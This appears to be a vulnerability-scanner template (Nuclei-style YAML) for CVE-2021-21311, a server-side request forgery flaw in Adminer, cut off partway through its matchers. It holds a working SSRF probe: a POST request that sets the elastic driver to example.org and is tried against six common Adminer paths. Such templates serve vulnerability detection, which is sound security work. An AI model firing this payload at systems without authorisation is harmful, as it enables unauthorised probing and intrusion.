id: CVE-2021-21311 info: name: "Adminer - Server-Side Request Forgery" author: vedas-arpsyndicate severity: high description: | Adminer is an open-source database management in a single PHP file. In adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. reference: - https://www.exploit.observer/?keyword=CVE-2021-21311&match=exact - https://subdomain.center/?engine=ammonites&keyword=adminer&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cve-id: CVE-2021-21311 cwe-id: CWE-918 metadata: verified: false tags: cve2021,cve,adminer,ssrf,vkev,kev,vuln http: - raw: - | POST {{path}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}} payloads: path: - "/index.php" - "/adminer.php" - "/adminer/adminer.php" - "/adminer/index.php" - "/_adminer.php" - "/_adminer/index.php" attack: batteringram stop-at-first-match: true redirects: true max-redirects: 1 matchers-condition: and matchers: - type: word part: body words: - "